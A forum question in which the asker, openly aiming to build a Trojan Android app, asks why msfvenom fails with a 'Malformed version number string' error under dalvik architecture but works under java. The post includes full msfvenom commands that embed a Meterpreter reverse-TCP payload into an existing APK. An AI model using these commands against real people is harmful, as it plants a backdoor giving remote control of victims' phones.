title: metasploit: Malformed version number string when selecting dalvik as architecture
body: <p>I’m trying to create a Trojan apk for android using metasploit, this is the command I’m using:</p>
  
  <pre><code>msfvenom -a dalvik --platform android -p android/meterpreter/reverse_tcp LHOST=myIP LPORT=myPort -x /testDir/something.apk R -o /testDir/something-Out.apk
  </code></pre>
  
  <p>And I'm getting this error: </p>
  
  <pre><code>Error: Malformed version number string  10:55:45 up  1:23,  1 user,  load average: 0.62, 0.54, 0.39
  USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
  user123  tty7     :0               09:32    1:23m  1:10   0.13s /sbin/upstart --user
  2.0.2-dirty
  </code></pre>
  
  <p>Then I tried selecting different architecture e.g. java:</p>
  
  <pre><code>msfvenom -a java --platform android -p android/meterpreter/reverse_tcp LHOST=myIP LPORT=myPort -x /testDir/something.apk R -o /testDir/something-Out.apk
  </code></pre>
  
  <p>and it worked (something-Out.apk was generated). So it seems like the <code>Malformed version number string</code> error only happens when dalvik is selected as the architecture, any idea why this is happening and how to fix it?</p>
  
  <p>I'm doing this on Ubuntu on VirtualBox, which is run from a Mac. Any help will be appreciated, thanks!</p>